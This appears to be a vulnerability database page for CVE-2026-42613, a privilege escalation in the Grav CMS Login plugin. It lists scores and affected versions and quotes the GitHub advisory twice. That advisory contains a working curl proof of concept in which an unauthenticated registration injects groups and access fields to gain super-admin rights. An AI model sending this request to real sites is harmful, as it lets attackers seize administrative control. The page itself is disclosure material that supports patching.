CVE-2026-42613
Grav: Privilege Escalation via Missing Server-Side Validation of groups/access
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
9.4
Grav: Privilege Escalation via Missing Server-Side Validation of groups/access
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.
- Record
CVE-2026-42613- CVSS 3.1
- 9.4 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-20, CWE-862
- Updated
- 2026-11-02
EUVDEUVD-2026-29071
9.4
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.
- Record
EUVD-2026-29071- CVSS 3.1
- 9.4 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pxm6-mhxr-q4mj
9.4
Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access
Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access
Summary
The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.
This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.
Affected Component
- File:
user/plugins/login/classes/Login.php, lines 246-306 - Method:
Login::register() - Validation:
Login::validateField(), lines 363-432 - Plugin: Login Plugin 3.8.0
- Grav: 1.8.0-beta.29
Root Cause
In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:
// Line 254-260
if (!isset($data['groups'])) {
$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
if (count($groups) > 0) {
$data['groups'] = $groups;
}
}
// Line 262-267
if (!isset($data['access'])) {
$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
if (count($access) > 0) {
$data['access']['site'] = $access;
}
}
If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.
Later (lines 298-303), these values are assigned directly to the user object:
if (isset($data['groups'])) {
$user->groups = $data['groups']; // attacker-controlled
}
if (isset($data['access'])) {
$user->access = $data['access']; // attacker-controlled
}
$user->save();
The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.
Precondition
Registration must be enabled with groups and/or access in the configured allowed fields:
# user/config/plugins/login.yaml
user_registration:
enabled: true
fields:
- username
- password
- email
- fullname
- groups # ← enables the attack
- access # ← enables the attack
This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.
Proof of Concept
Malicious registration request (unauthenticated):
curl -X POST "${TARGET}/user_register" \
--data-urlencode "data[username]=attacker" \
--data-urlencode "data[password1]=Str0ngP@ss!" \
--data-urlencode "data[password2]=Str0ngP@ss!" \
--data-urlencode "data[email][email protected]" \
--data-urlencode "data[fullname]=Attacker" \
--data-urlencode "data[groups][]=admins" \
--data-urlencode "data[access][admin][login]=true" \
--data-urlencode "data[access][admin][super]=true" \
--data-urlencode "data[access][site][login]=true" \
--data-urlencode "form-nonce=${FORM_NONCE}" \
--data-urlencode "__form-name__=user_register" \
--data-urlencode "__unique_form_id__=${FORM_UID}"
Resulting account file (user/accounts/attacker.yaml):
email: [email protected]
fullname: Attacker
groups:
- admins
access:
admin:
login: true
super: true
site:
login: true
hashed_password: ...
state: enabled
The attacker can then log into /admin with full super-admin privileges.
Impact
- Severity: Critical (when…
- Record
GHSA-pxm6-mhxr-q4mj- CVSS 3.1
- 9.4 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-20
- Updated
- 2026-11-02
NVD
9.4
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.
- Record
CVE-2026-42613- CVSS 3.1
- 9.4 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-20, CWE-862
- Updated
- 2026-11-02
OSV
9.4
Grav: Privilege Escalation via Missing Server-Side Validation of groups/access
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.
- Record
CVE-2026-42613- CVSS 3.1
- 9.4 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-20, CWE-862
- Updated
- 2026-11-02
OSVGHSA-pxm6-mhxr-q4mj
9.4
Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access
Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access
Summary
The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.
This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.
Affected Component
- File:
user/plugins/login/classes/Login.php, lines 246-306 - Method:
Login::register() - Validation:
Login::validateField(), lines 363-432 - Plugin: Login Plugin 3.8.0
- Grav: 1.8.0-beta.29
Root Cause
In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:
// Line 254-260
if (!isset($data['groups'])) {
$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
if (count($groups) > 0) {
$data['groups'] = $groups;
}
}
// Line 262-267
if (!isset($data['access'])) {
$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
if (count($access) > 0) {
$data['access']['site'] = $access;
}
}
If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.
Later (lines 298-303), these values are assigned directly to the user object:
if (isset($data['groups'])) {
$user->groups = $data['groups']; // attacker-controlled
}
if (isset($data['access'])) {
$user->access = $data['access']; // attacker-controlled
}
$user->save();
The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.
Precondition
Registration must be enabled with groups and/or access in the configured allowed fields:
# user/config/plugins/login.yaml
user_registration:
enabled: true
fields:
- username
- password
- email
- fullname
- groups # ← enables the attack
- access # ← enables the attack
This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.
Proof of Concept
Malicious registration request (unauthenticated):
curl -X POST "${TARGET}/user_register" \
--data-urlencode "data[username]=attacker" \
--data-urlencode "data[password1]=Str0ngP@ss!" \
--data-urlencode "data[password2]=Str0ngP@ss!" \
--data-urlencode "data[email][email protected]" \
--data-urlencode "data[fullname]=Attacker" \
--data-urlencode "data[groups][]=admins" \
--data-urlencode "data[access][admin][login]=true" \
--data-urlencode "data[access][admin][super]=true" \
--data-urlencode "data[access][site][login]=true" \
--data-urlencode "form-nonce=${FORM_NONCE}" \
--data-urlencode "__form-name__=user_register" \
--data-urlencode "__unique_form_id__=${FORM_UID}"
Resulting account file (user/accounts/attacker.yaml):
email: [email protected]
fullname: Attacker
groups:
- admins
access:
admin:
login: true
super: true
site:
login: true
hashed_password: ...
state: enabled
The attacker can then log into /admin with full super-admin privileges.
Impact
- Severity: Critical (when…
- Record
GHSA-pxm6-mhxr-q4mj- CVSS 3.1
- 9.4 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-20
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
getgrav/gravPackagist |
before 2.0.0-beta.2 | 2.0.0-beta.2 |
getgrav/gravPackagist |
before 2.0.0-beta.2, plus listed versions 0.8.00.9.00.9.10.9.100.9.11 Show 45 moreShow less0.9.120.9.130.9.140.9.150.9.160.9.170.9.180.9.190.9.20.9.200.9.210.9.220.9.230.9.240.9.250.9.260.9.270.9.280.9.290.9.30.9.300.9.310.9.320.9.330.9.340.9.350.9.360.9.370.9.380.9.390.9.40.9.400.9.410.9.420.9.430.9.440.9.450.9.50.9.60.9.70.9.80.9.91.0.01.0.0-rc.11.0.0-rc.2 |
2.0.0-beta.2 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | ivanesk315/CVE-2026-42613 | 2026-09-10 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-42613 is a critical vulnerability (CVSS 9.4) in Getgrav Grav, published May 5, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 1.14%, the 66th percentile. Fixed in getgrav/grav 2.0.0-beta.2.
References
github.com/getgrav/grav/security/advisories/GHSA-pxm6-mhxr-q4mj
github.com/getgrav/grav-plugin-login/commit/3d419a0dabd70aed1fd49afcd5919004a4141da1
github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw
nvd.nist.gov/vuln/detail/CVE-2026-42613
github.com/advisories/GHSA-pxm6-mhxr-q4mj
github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42613.json
github.com/getgrav/grav
Left out here: 271 versions and the rest of 2 source descriptions. The JSON record has them.